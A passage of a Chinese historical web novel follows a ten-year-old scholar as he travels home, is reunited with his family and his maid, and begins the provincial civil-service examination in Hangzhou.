从一县的税收到一府的漕运,从地方的人事关系到京城的派系纷争,这些书本上永远学不到的屠龙之术,纷纷教给了这个十岁少年。 短短数月,陆明渊像是经历了一场脱胎换骨的蜕变。 他的身形拔高了些许,面庞的稚气褪去,添了几分少年人的英挺。 但变化最大的,还是他的眼神,那双眸子愈发深邃,平静的表象下,仿佛藏着一片星辰大海。 秋意渐浓,距离八月乡试,只剩下一个月的时间。 这日晚间,林瀚文将陆明渊叫到了书房。 “明渊,你在江宁盘桓数月,学业武艺皆大有长进,为师甚是欣慰。” 林瀚文放下手中的茶盏,温和地说道。 “但乡试在即,你需得提前返回浙江准备了。我已经安排妥当,明日便由我的亲卫队,护送你回乡。” 陆明渊闻言,躬身行了一礼,却没有立刻应下。 他沉吟片刻,抬起头,目光清澈而坚定地看着林瀚文。 “老师厚爱,学生感激不尽。只是……学生不想由亲卫护送。” 林瀚文眉头微蹙。 “为何?亲卫护送,一路快马加鞭,七日之内便可抵达杭州,且万无一失。” 陆明渊摇了摇头,缓缓说道。 “老师,您曾教导学生,‘读万卷书,不如行万里路’。” “学生自出陆家村,一路行来,或有赵夫子照拂,或有老师庇佑,所见所闻,皆是太平盛世,锦绣江山。” “可学生在书中读到,大乾虽盛,亦有流民失所,亦有饿殍遍野。学生想用自己的眼睛,去看一看这书本之外的真实世界。” 他顿了顿,声音愈发恳切。 “亲卫开道,官驿接待,百姓回避,所行之处,皆是坦途。如此,学生与坐于书斋之中,又有何异?” “学生恳请老师,准许学生只带几名护卫,沿官道缓缓而行。” “如此,既能体察民情,感受风土,亦是对学生心性的一场磨砺。” “纸上得来终觉浅,绝知此事要躬行。若不能真正了解百姓之苦,将来即便身居高位,恐怕也只是个闭目塞听的糊涂官。” 一番话,掷地有声。 书房内陷入了长久的沉默,只有烛火在轻轻跳动。 林瀚文静静地看着眼前的少年,目光中先是惊讶,而后是审视。 最终,化为了一片浓得化不开的欣赏与欣慰。 他原先只当陆明渊是天资绝顶的璞玉,却未曾想,这块璞玉之内,竟还藏着一颗心怀天下的赤子之心。 “好!说得好!” 林瀚文终于抚掌大笑,笑声中充满了快意。 “为师先前还担心你年少得志,会耽于安逸,如今看来,倒是为师多虑了!” 他站起身,走到陆明渊面前,拍了拍他的肩膀,眼神中满是赞许。 “你说得对。为官者,若脱离了百姓,便如无根之木,无源之水。你能有这份见识,为师便没什么不放心的了。” “先前不放心,是因你手无缚鸡之力,如今你骑射剑术皆已入门,寻常三五个壮汉近不得你身。” “既如此,为师便允了你!” 林瀚文当即拍板:“我从亲兵中,为你寻三个上过战场、见过血的老卒充作护卫。” “他们不着官服,只做寻常家丁打扮,暗中护你周全。你与若雪,便一道返回浙江,参加乡试吧!” “多谢老师成全!”陆明渊深深一揖。 翌日,一切准备妥当。 三名护卫皆是三十余岁的年纪,身材精悍,神情冷峻,身上带着一股久经沙场的沉凝煞气。 他们沉默地检查着马匹和行囊,动作干练利落。 若雪也换上了一身便于行动的浅蓝色布裙,将一个不大的包裹系在马鞍一侧。 巡抚衙门门口,林瀚文亲自来送。 林瀚文没有说太多勉励的话,只是将一个用油纸包得方方正正的包裹递到陆明渊手中。 “这里面,是江宁最有名的桂花糕。” 林瀚文的眼神变得柔和了许多,带着一丝追忆。 “你回乡之后,替我带给赵夫子。告诉他,故人……一切安好。” 陆明渊心中一动,郑重地接过那包桂花糕。 “学生……谨记。” “去吧。” 林瀚文挥了挥手,转身走回府内,不再回头。 那挺拔的背影,却仿佛在说,雏鹰已然羽翼渐丰,当由其搏击长空。 陆明渊翻身上马,看了一眼身旁安静的若雪和身后沉默的护卫,深吸了一口气。 “出发!” 第146章 为了利字,奔走四方 前路漫漫,通往浙江,也通往那名闻天下的考场。 离开了江宁府的繁华与喧嚣,天地骤然开阔,入眼皆是连绵的田垄与渐次染上秋黄的林木。 马蹄踏在坚实的土路上,扬起细微的烟尘,在阳光中飞舞,宛若金色的浮游。 这便是陆明渊想要的行走。 白日里,他们五人一骑,并辔而行。 那三名林瀚文亲选的护卫,如同三座沉默的山,始终保持着一个不远不近的距离,将陆明渊与若雪护在中间。 旅途是枯燥的,却也是鲜活的。 他们曾遇到过一支从北方来的商队,数十匹骡马驮着沉重的皮货与药材。 赶队的汉子们皮肤黝黑,嗓门洪亮,操着一口官话,却带着浓重的边关口音。 见到陆明渊一行人衣着不凡,又有精壮护卫,便热情地凑上前来,递上粗劣的水囊,里面装着烈口的烧刀子。 领头的刀疤脸汉子咧着大嘴笑道:“小兄弟,看你们是去南边赶考的读书人吧?喝一口,暖暖身子!这南方的秋天,湿气重,不比我们北地干爽!” 陆明渊没有拒绝,接过水囊,学着他们的样子仰头灌了一口。 他看到这些汉子脸上被风霜刻下的沟壑,听着他们谈及家乡妻儿时眼中闪过的温柔,也听到了他们计算着这趟生意能赚几两银子时的期盼。 这就是《货殖列传》里活生生的人,为了“利”字,奔走四方,用双脚丈量着大乾的广袤疆土。 他们也曾与赶着牛车去城里贩卖自家收成的老农并肩走过一段路。 老农的牛车上,装着半车的青菜和一筐土鸡蛋,那是他一家的指望。 他絮絮叨叨地跟陆明渊说着今年的收成,说着田赋又涨了几文,说着城里的米价,言语间充满了对生活的敬畏与无奈。 陆明渊静静地看着,心中百感交集。 这便是老师口中“百姓之苦”最真实的写照。 他们的悲欢,他们的生计,就藏在这一蔬一饭,一文一钱的计较之中。 这些,是藏书楼里那些冰冷的数字和条文永远无法给予的触动。 一路行来,他见识了吴侬软语的温婉,也听到了浙东山地的硬朗方言。 品尝过淮扬菜的精致,也吃过路边摊贩卖的、撒着粗盐的烤饼。 不同地域的风土人情,如同一幅幅生动的画卷,在他眼前徐徐展开。 他的心胸,仿佛也随着这开阔的天地,变得愈发广博。 他与若雪之间的关系,也在这一场漫长的行走中,悄然发生着变化。 若雪完全不像一个养在深闺的娇弱女子。 她骑术精湛,即便长途跋涉,也始终能跟上队伍的节奏。 宿营野外时,她总能找到最干燥的木柴,用火折子升起篝火。 休息时,若雪也会给众人烹饪一锅美味佳肴! 半个月后,当杭州府巍峨的城郭遥遥在望时,这段漫长而丰富的旅程也即将抵达终点。 官道变得愈发宽阔平整,往来的商旅、行人络绎不绝。 空气中都仿佛弥漫着一股江南都会特有的富庶与风雅气息。 还未至城门,便有一队穿着吏服的衙役迎了上来。 为首的班头眼神锐利,手持一卷画像,与陆明渊对照了片刻,立刻翻身下马,恭敬地抱拳行礼。 “敢问可是陆爵爷当面?我家知府周大人已恭候多时,特命我等在此迎接!” 陆明渊微微颔首,并不意外。罗文龙的信,想必早已通过驿站快马送达。 “有劳了。” 在那队衙役的引领下,陆明渊一行人顺利入城,径直赶往杭州府衙。 府衙庄严肃穆,气派非凡,远非江陵县衙可比。 陆明渊与若雪被一名管事恭敬地请入内堂,穿过几重院落,来到一间雅致的书房。 “爵爷,姑娘,请在此稍候片刻,大人正在处理公务,马上就到。” 管事奉上香茗,便躬身退下。 陆明渊安然坐下,端起茶盏,神色平静。 而若雪则安静地立于他身后,好奇地打量着这个代表着一府权力中枢的地方。 约莫过了半个时辰,门外传来一阵爽朗的笑声。 一名身着绯色官袍,面容儒雅,蓄着三缕长髯的中年官员龙行虎步地走了进来。 “哈哈哈哈,明渊贤侄,可让老夫好等啊!” 来人正是杭州知府周泰。 他一进门,目光便落在陆明渊身上,眼中满是毫不掩饰的欣赏与亲近。 陆明渊连忙起身,长揖及地:“学生陆明渊,见过周大人。” “哎,什么大人不大人的,太见外了!” 周泰上前一步,亲手将他扶起,热情地拍了拍他的手臂。 “你乃林抚台的得意门生,与我那弟子博文又是同科,老夫痴长你几岁,你若不嫌弃,叫我一声周伯父便可。” “学生不敢,礼不可废。” 陆明渊态度谦恭,却不卑不亢。 周泰见状,也不强求,只是笑意更浓,引着他重新落座,关切地问道。 “贤侄这一路从江宁而来,可还顺利?林抚台身体可还康健?” “多谢大人关心,一路顺遂。老师身体康健,一切安好。” 两人寒暄了几句,周泰便将话题引到了学问之上,他抚着胡须,看似随意地说道。 “贤侄在江宁这数月,想必在林抚台的教导下,学问愈发精深了吧?老夫可是时常听闻你在江宁府的才名啊。” 他话锋一转,带着几分自得的笑意。 “说起来,我那劣徒林博文,自从府试之后,便知耻而后勇,这半年来可是不敢有丝毫懈怠,日日苦读,唯恐被你这颗江南文曲星甩得太远。” “老夫不才,见他勤勉,近来也常抽空指点他一些政务上的门道,让他提前熟悉熟悉,免得将来金榜题名,却成了个四体不勤、五谷不分的书呆子。” “贤侄可不要光顾着埋首故纸堆,被他超了过去啊。” 周泰有意无意地透露出,自己的弟子林博文,已经开始接触实际政务。 这在同辈士子中,无疑是巨大的优势,是一种隐晦的炫耀与施压。 他想看看,眼前这个被林瀚文寄予厚望的少年,会是何反应。 陆明渊闻言,脸上神情未变,只是那双深邃的眸子里闪过一丝了然。 他放下茶盏,微微一笑,语气平和地回应道。 “周大人说的是。学生也深知‘纸上得来终觉浅,绝知此事要躬行’的道理。” 他顿了顿,仿佛只是在陈述一件再寻常不过的事情。 “幸得老师垂爱,这数月来,学生除了在贡院藏书楼读书,其余时间,老师也时常将学生叫到书房,亲自教导学生一些处理公务的法子。” “从一府漕运的利弊,到地方人事的关系,学生愚钝,所学不过皮毛,但亦是获益匪浅。” 话音落下,书房内的空气仿佛凝滞了一瞬。 周泰脸上的笑容,出现了一刹那的僵硬。 他眼中的自得与试探,瞬间被一股浓浓的惊讶所取代。 他本以为自己让林博文提前接触政务,已经是爱才心切,算是“拔苗助长”了。 按照官场的规矩,通常只有等门生中了举人,有了功名在身,老师才会开始传授这些真正的“屠龙之术”。 却万万没有想到,林瀚文竟是如此看重陆明渊,竟是这般不拘一格! 乡试还未开考,便已将这等封疆大吏的为官心法,倾囊相授! 这是何等的器重! 何等的期待! 自己以为的领先一步,在林瀚文的布局面前,竟然后知后觉,相形见绌! 周泰毕竟是久历官场之人,心头的震惊只是一闪而过,便被他用一阵更大声的笑给掩盖了过去。 “哈哈,好!好啊!林抚台高瞻远瞩,果然是为国选材,不拘一格!” “有他亲自教导,贤侄的前途,不可限量,不可限量啊!是老夫多虑了!” 他心中却是掀起了惊涛骇浪,对陆明渊的评价,又在无形中拔高了数层。 一番交谈,高下立判。 周泰不再试探,转而热情地说道。 “如今距离乡试开考,尚有半月。贤侄离家已久,想必思念亲人。” “老夫已经为你备好了马车和人手,你随时可以动身,先回江陵县探望父母,待考前再返回杭州府便是。” “一切应考事宜,老夫都会为你安排妥当,贤侄不必操心。” “如此,便多谢大人费心了。” 陆明渊起身,再次深深一揖。 一个时辰后,一辆更为舒适宽敞的马车,在四名府衙精锐护卫的护送下,缓缓驶出了杭州府衙。 车厢内,陆明渊闭目养神。 车轮滚滚,向东而行。 第147章 江陵县衙典史,恭迎陆爵爷荣归 从杭州到江陵,不过三日多的路程。 马车行得不快,却很稳。 车窗外的景致,从江南都会的亭台楼阁、小桥流水,渐渐变作了浙东丘陵熟悉的轮廓。 田野的气息愈发浓郁,乡音也变得亲切起来。 陆明渊的心,前所未有的安宁。 当江陵县那熟悉的青砖城墙出现在地平线上时,陆明渊便察觉到了气氛的不同寻常。 官道两侧,竟站了不少人,伸长了脖子,朝着杭州的方向翘首以盼。 马车行得近了,一名身穿县衙公服的皂隶眼尖,瞧见了护送马车的杭州府衙护卫那与众不同的服色。 他立刻高声呼喊起来:“来了!来了!陆爵爷回来了!” 这一声呼喊,如同一颗石子投入平静的湖面,瞬间激起千层浪花。 “是陆爵爷!” “我们江陵县的三试魁首回来了!” “快看,就是那辆马车!” 人群瞬间沸腾了。 不知是谁带的头,百姓们竟自发地向着官道两侧退开,让出一条宽敞的通路。 众人目光中充满了敬畏、好奇与发自内心的与有荣焉。 县衙的典史带着几名衙役快步迎上前来,在车前三步之遥便停下,躬身行礼,声音洪亮。 “江陵县衙典史,恭迎陆爵爷荣归故里!” 车厢内的若雪,被这突如其来的阵仗惊得不轻。 她悄悄掀开车帘一角,向外望去。 只见城门口人头攒动,黑压压的一片,几乎将道路堵得水泄不通。 那些面孔,有质朴的农人,有精明的商贩,有提着篮子的妇人,还有扎着总角的孩童。 他们看着马车的眼神,像是在看一个传说。 她的小嘴微张,眼中满是震撼。 在江宁府,少爷的才名虽盛,却多流传于士林与官场。 可在这里,在这小小的江陵县,他竟是所有百姓心中的骄傲,是活生生的传奇。 这种影响力,远比在江宁府时感受到的更为直接,也更为……滚烫。 陆明渊并未下车,只是在车内微微颔首,声音平静地传出。 “有劳诸位乡亲了,明渊愧不敢当。都散了吧,莫要误了生计。” 他的声音不大,却清晰地传入每个人的耳中。那份超越年龄的沉稳,让喧闹的人群不自觉地安静了下来。 典史连忙转身,对着百姓们拱手道:“陆爵爷体恤大家,都请回吧,请回吧!” 人群虽缓缓散去,但仍有无数道目光,追随着马车缓缓驶入城门,一路向着陆府的方向而去。 陆府门前,早已清扫得干干净净。 陆明渊告别了县衙众人与杭州府的护卫,让他们自去驿站歇息。 陆明渊这才上前,亲手叩响了那扇熟悉的木门。 “谁啊?” 门内传来母亲王氏熟悉的声音。 “娘,是我,明渊回来了。” 门内的声音戛然而止,紧接着便是一阵急促的脚步声。 “吱呀”一声,大门被猛地拉开。 王氏站在门内,看着眼前这个比半年前高了半个头,身形更显挺拔的儿子,一时间竟愣住了,仿佛不敢相信自己的眼睛。 “渊……渊儿?” “娘,我回来了。” 陆明渊眼眶微热,微笑着上前一步。 这声呼唤,终于让王氏回过神来。 巨大的欣喜与思念瞬间冲垮了理智的堤坝,她的眼泪“唰”地一下就流了下来。 “我的儿啊!” 王氏一把扑上前,紧紧抱住陆明渊,手臂勒得生紧。 跟在她身后的陆从文,手里还拿着一杆旱烟,此刻也僵在了原地,嘴唇哆嗦着,眼圈泛红,却一句话也说不出来。 若雪悄无声息地走上前,将两扇大门轻轻合上,又插上了门栓。 王氏抱着儿子,哭了半晌,才渐渐止住泪水。 她松开手,捧着陆明渊的脸,上上下下地仔细打量着,口中不住地念叨。 “瘦了,脸颊都凹下去了……不对,是壮实了,肩膀都宽了……也黑了,像个真正的男子汉了!” 一番感慨过后,她眼眶又红了,拉着陆明渊的手,声音哽咽地问道。 “儿啊,这半年在外面,是不是吃了很多苦?有没有人欺负你?江宁府的饭菜,你吃的惯不惯?” 陆明渊心中一暖,任由母亲拉着,一一耐心回答。 “娘,您放心,儿子一切都好,没有吃苦。老师待我如亲子,照顾得无微不至。” “贡院里的同窗们,也都对我十分尊敬,没人敢欺负我。” “江宁府的菜肴虽精致,但儿子还是最想念您做的手擀面。” 听到儿子说一切都好,王氏的心才算彻底放回了肚子里。 她重重地点了点头,抹了把眼泪,脸上终于露出了笑容。 “好,好就好!你等着,娘这就去给你做手擀面,再给你炒几个你爱吃的小菜!” 说罢,她便风风火火地转身,向着厨房走去。 若雪见状,连忙跟了上去,柔声道。 “夫人,我来帮您。” 堂屋里,只剩下了陆明渊和陆从文父子二人。 陆从文看着眼前这个既熟悉又有些陌生的儿子,一时间竟有些手足无措。 他将烟杆凑到嘴边,用力地“吧嗒”吸了一口,吐出一团浓白的烟雾。 “在……在外面,都还好吧?” 他憋了半天,才问出这么一句。 “嗯,爹,一切都好。” “钱……钱够不够花?” “够的,老师那边都有供给,我自己也用不了多少。” “那就好,那就好……” 父子间的对话,简短而笨拙。 这是最典型的华夏父子,情感深沉如海,却羞于付诸言语。 陆明渊微笑着,将自己在江宁府的一些趣闻讲给父亲听,言语间尽是轻松,只为宽慰他那颗深藏不露的慈父之心。 约莫一个时辰后,院门再次被推开。 赵夫子牵着一个粉雕玉琢的小家伙,从外面走了进来。 那小家伙正是陆明泽,他一进院子,看到堂屋里坐着的陆明渊,黑葡萄似的大眼睛瞬间亮了起来。 他挣脱了赵夫子的手,迈着小短腿,踉踉跄跄地就向陆明渊跑来。 “哥哥!哥哥抱!” 小家伙一头扎进陆明渊的怀里,小手紧紧地搂着他的脖子,奶声奶气地喊着,脸上满是灿烂的笑容。 陆明渊被这小家伙的热情可爱到了,心中一片柔软。 他笑着将弟弟抱了起来,掂了掂,发现重了不少,刮了刮他的小鼻子,才转向赵夫子,起身行礼。 “学生见过夫子。这半年,有劳夫子教导明泽了。” 赵夫子捋着胡须,摆了摆手,脸上满是欣慰的笑意。 “你我师生,何须如此客气。说起来,明泽这孩子,天资之高,实乃老夫生平仅见。” “过目不忘,触类旁通,聪慧之处,将来绝不弱于你。” 他话锋一转,又带着几分无奈道。 “只是啊,这性子……实在是跳脱了些。让他坐下读半个时辰的书,就跟要了他的命似的,满脑子都是些稀奇古怪的念头。” “明渊啊,你这个做哥哥的,可得好好劝劝他。” 陆明渊闻言,低头看了看怀里正冲他做鬼脸的弟弟,不由失笑。 他让陆明泽自己去玩,然后请赵夫子坐下,两人聊起了林瀚文的近况。 叙谈间,陆明渊从随身的包裹里,取出一个用油纸包得整整齐齐的点心盒,递了过去。 “夫子,这是学生从江宁府给您带的一点心意。” 赵夫子接过,打开一看,只见里面是几块精致的桂花糕。 他先是一愣,随即眼中陷入了久远的回忆之中。 这桂花糕,正是当年他与林瀚文在京城求学时,最常去的那家老店所制。 这是属于他们二人之间的暗号,一种无言的默契。 “有心了,有心了……” 赵夫子长叹一声,小心翼翼地将点心盒收好,看向陆明渊的目光中,充满了感动与赞许。 他知道,林瀚文让陆明渊带回这个,既是向自己报平安,也是在告诉自己,他没有看错人。 收敛了情绪,赵夫子神色一正,开始与陆明渊谈起了乡试的要点。 “……杭州府的乡试,与江宁府略有不同,文风更重经义,策论则偏向实务,尤其是漕运、海防与市舶司相关……” 半个时辰后,王氏和若雪端着一盘盘香气扑鼻的佳肴从厨房走了出来,热情地招呼道。 “开饭啦!夫子也留下一起吃吧!” 热气腾腾的手擀面,配上几碟精致的炒菜,还有一锅炖得烂熟的鸡汤。 陆家一大家子人,加上赵夫子和若雪,满满当当地围坐了一桌。 陆明泽被夹在陆明渊和王氏中间,小嘴吃得满是油光,不时发出满足的笑声。 饭桌上,充满了欢声笑语,其乐融融,将这半年的离别与思念,都融化在了这顿温暖的家宴之中。 晚宴过后,赵夫子告辞离去。 王氏则忙着给陆明渊收拾房间,被褥都是新晒过的,带着阳光的味道。 “渊儿,你一路奔波,早些歇息吧。” 王氏铺好床铺,直起身子,脸上带着一丝别有深意的笑容。 “今晚啊,明泽就跟我和你爹一起睡了。” 她说着,目光转向一旁正在帮忙收拾的若雪,笑得愈发和蔼。 “这间房,就让你和若雪一起睡吧。娘啊,还等着抱孙子呢。” “夫人!” 若雪闻言,一张俏脸“腾”地一下就红透了,从脸颊一直烧到耳根。 她连忙摆着手,语无伦次地解释道,“不……不行的,我是……我是少爷的婢女,怎么能……” 王氏却是不以为意,拉着她的手拍了拍。 “什么婢女不婢女的,既然明渊带着你回来,那就是我们陆家人。” 陆明渊看着窘迫不已的若雪,和一脸期盼的母亲,只是淡淡一笑,并未解释太多。 他知道母亲的心思,也明白这种事情越解释越乱。 他对着王氏道:“娘,我省得了。您也早些休息吧。” 说罢,他便转身,如同往常一样,平静地走进了自己的房间。 第148章 乡试之日,终于到来 房间里只点了一盏油灯,屋内的陈设很简单,一张书桌,几把椅子,还有一张收拾得整整齐齐的床铺。 若雪有些手足无措。 她站在原地,低着头,双手绞着自己的衣角,心如鹿撞。 陆明渊没有说话,他走到书桌前坐下,从行囊中取出一卷书,就着灯光,安静地翻阅起来。 时间一点一滴地流逝,灯花偶尔爆开,发出“噼啪”的轻响。 若雪的脸颊越来越烫,她知道自己不能再这样站下去了。 她深吸一口气,走到床边,开始铺设床铺。 可当她将被子展开时,才发现……只有一床被子。 陆母的心思已经摆在明面上了。 她咬了咬下唇,偷偷抬眼看了一眼书桌旁的陆明渊。 他依旧在看书,侧脸的轮廓在灯光下显得格外分明,沉静而专注。 一个念头,在她心底悄然生根,带着几分羞涩,几分决然。 她走到屏风后,窸窸窣窣地脱下外衣,只着一身单薄的亵衣,玲珑有致的身段在昏黄的灯光下若隐若现。 夜里有些凉了。 她走到床边,掀开被子的一角,躺了进去,身体却僵硬得像一块木头,紧紧地靠在床铺的最里侧,恨不得能把自己嵌进墙里。 被窝里,还残留着阳光的暖意,可她却觉得身上一阵阵发冷。 陆明渊翻过一页书,眼角的余光瞥见了那边的动静。 他的目光没有丝毫波动,只是淡淡地开口。 “睡吧,明日还要早起。” 这声音仿佛带着一种魔力,若雪紧绷的身体,竟不自觉地放松了下来。 她闭上眼睛,鼻尖萦绕着书卷的墨香和他身上淡淡的清洌气息,纷乱的心绪,渐渐归于平静。 不知过了多久,她感觉身边的床铺微微一沉。 他上来了。 若雪的心又提到了嗓子眼,她能清晰的感觉到,另一个人的体温隔着薄薄的被子传递过来,带着一种灼人的热度。 两人之间,隔着一拳的距离,却仿佛隔着千山万水,又仿佛近在咫尺。 一夜无话。 …… 次日清晨,第一缕天光透过窗棂照进屋内。 若雪猛地睁开眼睛,发现自己不知何时,竟蜷缩着身子,靠在了陆明渊的臂弯里。 而他的一只手,正安然地搭在她的腰间。 “轰!” 一股热气直冲头顶,若雪的脸颊瞬间红得能滴出血来。 她手忙脚乱地从床上坐起,连滚带爬地跑到了屏风后面。 片刻后,若雪端着洗漱的热水走出来,脸上依旧带着未褪的红晕,不敢直视陆明渊的眼睛。 她低着头,服侍着他洗漱更衣,动作间却比往日多了几分说不清的温柔与缱绻。 陆明渊坦然受之,一切如常。 两日时光,倏忽而过。 这两日,陆明渊没有去见任何外人,也没有理会任何拜帖,只是安安静静地待在家里。 他会带着弟弟陆明泽去街上买糖葫芦,将小家伙高高地架在自己的脖子上。 他也会带着陆明泽去郊外,手把手地教弟弟骑上一匹温顺的小马驹,看着他从最初的胆怯,到后来的兴奋雀跃。 他会陪着父亲陆从文坐在门槛上,听父亲讲述“双魁楼”的生意。 虽然那些经营之道在他看来错漏百出,但他只是微笑着,耐心地听着,时不时点点头。 他也会走进厨房,帮母亲王氏烧火,说着在江宁府的趣闻,逗得母亲笑声不断。 第三日,他才终于走出了家门。 第一站,便是林家。 林家三爷林天元亲自接待了他。 这位掌管着林家府学的大儒,看着陆明渊的眼神,充满了欣赏与感慨。 一番寒暄过后,陆明渊见到了林远峰。 “明渊兄,你可算回来了!” 林远峰一见他,便热情地迎了上来。 两人在书房落座,下人奉上香茗。 “话本的生意,如今已经彻底铺开,不仅是杭州府,连带着苏州、松江几地,都有我们的分销渠道,每月盈利,相当可观。” 林远峰说起生意,眼中放光。 “辛苦你了。” 陆明渊点了点头。 “你我兄弟,说这些就见外了。” 林远峰摆了摆手,随即压低了声音,神色变得凝重起来。 “对了,明渊兄,你之前信中提到的,去草原做生意的事情,我一直在琢磨。” 陆明渊眼中闪过一丝赞许。 他当初在信中,只是略微提了一句,用江南的丝绸、茶叶、铁器,去换取草原的牛羊、马匹和皮毛,其中利可图。 没想到林远峰竟真的放在了心上。 “这可不是一笔小生意,风险极大。” 陆明渊提醒道。 “我懂。” 林远峰重重点头。 “所以我没有动用家里的钱。这两年靠着话本生意,外加上先前过年的喜钱,攒了三万两银子,又联络了几个信得过的商队,准备亲自去草原走一趟,探探路。” 陆明渊看着他,这个比自己大三岁的少年,眼中已经有了枭雄的雏形。 “有几点你要注意。” 陆明渊沉声道。 “第一,安全为上,护卫要找最好的,钱不能省。” “第二,打通关节,无论是边关的将领,还是草原的部落首领,都要用银子喂饱。” “第三,除了牛马皮毛,更要留意一种东西——硝石。” “硝石?”林远峰一愣。 “对,大量的硝石。” 陆明渊的目光深邃,“有多少,要多少,价格可以比市价高三成。” 林远峰虽然不解,但出于对陆明渊的信任,他还是郑重地将此事记下。 两人又聊了许久,敲定了许多细节,陆明渊才告辞离去。 在江陵县的日子,悠闲而短暂。 两日后,陆明渊带着若雪,再次踏上了前往杭州府的路。 这一次,没有了官府的护卫,只有一辆朴素的马车,在官道上缓缓而行。 抵达杭州府时,已是黄昏。 夕阳的余晖将整座城市染成一片金黄,车水马龙,繁华依旧。 陆明渊径直让马车驶向了福来客栈。 客栈的掌柜正站在门口,一见陆明渊的马车,眼睛顿时一亮。 他连忙一路小跑地迎了上来,脸上堆满了热情的笑容。 “陆爵爷!您可算来了!小的给您请安!” 掌柜的一边行礼,一边麻利地招呼着伙计。 “快,快去把天字一号房收拾出来!用最好的被褥,点上安神香!” 说罢,他又转身对着陆明渊,满脸谄媚地笑道。 “爵爷,您和这位姑娘的房费,小的全免了!您能住到小店,是小店蓬荜生辉的福气啊!” 跟在后面的若雪,看着眼前这一幕,小嘴微张,眼中满是诧异。 她知道少爷在江陵县声望高,却没想到,在这繁华的杭州府,竟也有如此大的影响力。 一个客栈老板,竟能一眼认出少爷,还如此恭敬,甚至免了房费。 陆明渊对此只是淡淡一笑,并未推辞。 他知道,这是他当初留下那幅墨宝的善果。 入住客栈后,接下来的三日,陆明渊的生活变得极为规律。 白日,他会去杭州府最大的书店,寻一个安静的角落,温习经义,翻阅策论。 夜晚,他则在房间里,铺开宣纸,一笔一划地练习书法,磨砺心性。 若雪则安静地陪在一旁,为他研墨,为他添茶,一双美目,总是痴痴地落在他专注的身影上。 三天时间,转瞬即逝。 乡试之日,终于到来。 天还未亮,陆明渊便已起身。 当他与林博文在贡院门口汇合时,这里早已是人山人海,灯火通明。 成百上千的秀才聚集于此,他们来自浙江各府各县,每个人脸上都带着紧张、激动与期盼。 送考的家人、朋友更是将街道堵得水泄不通,叮咛嘱咐之声不绝于耳。 陆明渊放眼望去,心中微微感慨。 与院试时多是年轻面孔不同,乡试的考场上,多的是两鬓斑白的中年人,甚至是白发苍苍的老者。 他们将一生的希望,都寄托在了这三场考试之上。 十年寒窗,一朝功名,对于他们而言,这不仅仅是一场考试,更是改变命运的唯一途径。 陆明渊与林博文,一个十岁,一个十五岁,站在这群人之中,显得格外扎眼,如同鹤立鸡群。 很快,便有人认出了他们。 “快看!是陆爵爷和林公子!” 人群中发出一阵低低的惊呼,无数道目光齐刷刷地投了过来,充满了敬畏、羡慕与好奇。 不少自认有些身份的秀才,纷纷上前来打招呼,言语间极尽恭维。 “陆爵爷,久仰大名!” “林公子,幸会幸会!” 陆明渊一一微笑颔首,从容应对,那份超越年龄的沉稳,让众人愈发钦佩。 “开门——!” 随着一声悠长的唱喏,贡院那厚重的朱漆大门,缓缓打开。 人群开始涌动,排起了长长的队伍。 乡试的检查,比院试要严苛十倍不止。 所有考生都必须脱去外袍,解开头发,由专人仔细搜身。 文房四宝、笔墨纸砚,皆由贡院统一提供,一概不许私自带入。 考生唯一能带的,只有一些干粮和水壶。 即便是水壶,也要在门口当着士兵的面,将里面的水全部倒掉,然后从旁边的一口大水缸里,重新灌满。 陆明渊一丝不苟地照做,他将水壶里的水倒尽,重新装满,又将随身携带的干粮递给士兵检查。 整个流程繁琐而漫长,充满了肃穆与压抑的气氛。 当他终于通过了所有检查,拿着自己的考牌,踏入贡院的那一刻,身后的喧嚣被彻底隔绝。 眼前,是一排排整齐的号舍,如同蜂巢一般,密密麻麻,一眼望不到头。 空气中,弥漫着一股陈旧的墨香与紧张的气息。 他找到了自己的号舍,走了进去,等待着乡试的正式开始。 第149章 所有的腹稿,都已打好! 号舍狭小,仅容一人转身。 一块木板为桌,一块木板为床,除此之外,别无长物。 空气中弥漫着一股陈腐的墨香与木头受潮的味道,混杂着成千上万名考生身上散发出的紧张气息。 陆明渊坐在冰冷的木板上,背脊挺得笔直。 他闭上双眼,将外界的一切嘈杂与纷扰尽数摒除于心门之外。 “当——!” 一声悠长的钟鸣,穿透了贡院的清晨薄雾,瞬间将所有考生的心神都揪了起来。 紧接着,沉重的脚步声响起。 一队队身着官服的考官与巡考吏,面容严肃地穿行在狭窄的甬道之间,开始分发试卷。 雪白的宣纸,带着淡淡的墨香,被递入每一个号舍。 陆明渊接过试卷,入手微凉。 他没有急着动笔,而是将试卷平铺在桌板上,目光沉静地从头到尾扫视了一遍。 乡试第一场,考的是帖经与墨义,是对经义功底最直接的考验。 十二篇默写,三篇诗词理解,最后则是一篇以“家国”为题的七律。 一切,皆在他意料之中。 他拿起贡院统一发放的墨锭,在砚台中滴入几滴清水,手腕平稳,不疾不徐地开始研墨。 “沙沙,沙沙……” 那十二篇需要默写的内容,早已在他脑海中流淌了千百遍,此刻更是字字清晰,句句分明。 一炷香的功夫,墨已研好。 而那十二篇经文,也已在他心中,完成了最后一次的温习。 他提起狼毫笔,饱蘸墨汁,悬腕于纸上。 笔尖落下,悄然无声。 一行行工整隽秀的小楷,便如流水一般,从笔端倾泻而出。 没有丝毫的停顿,没有片刻的犹豫,仿佛不是在默写,而是在誊抄一本早已烂熟于心的典籍。 《论语·学而》、《孟子·梁惠王上》……一篇篇圣人经典,在他的笔下重现。 仅仅半个时辰,当周围大多数考生还在为某一句经文而苦思冥想,抓耳挠腮之时。 陆明渊已经完成了全部十二篇的默写,无一错漏。 他将笔搁在笔架上,静待墨迹稍干,这才将目光投向了后面的三篇诗词理解。 一篇边塞诗,苍凉雄浑;一篇写景诗,沉郁顿挫;一篇家国诗,慷慨悲歌。 这些诗词背后的典故、意境与作者想要抒发的情感,对于旁人而言或许需要仔细揣摩。 但对于拥有着远超这个时代眼界的陆明渊来说,不过是信手拈来。 他几乎没有过多思索,便提笔将自己的见解一一写下,言简意赅,却又直指核心。 最后,只剩下那道以“家国”为题的七律。 这才是真正能拉开差距的地方。 陆明渊凝视着题目,目光深邃。 家与国,是这片土地上所有读书人心中最沉重,也最神圣的两个字。 修身,齐家,治国,平天下。 这是他们一生所追求的终极理想。 无数前人诗篇在脑海中闪过,或激昂,或悲壮,或忧思。 但他不欲拾人牙慧。 他要写的,是他自己的心声,是他陆明渊的志向。 他再次提笔,略一沉吟,便在试卷的顶端,写下了诗的题目——《秋闺抒怀》。 他深吸一口气,笔锋陡然一转,一股磅礴的意气,瞬间贯注于笔端。 笔落沙沙春蚕声,少年意气满帝京。 十年寒窗磨利剑,万里边关请长缨。 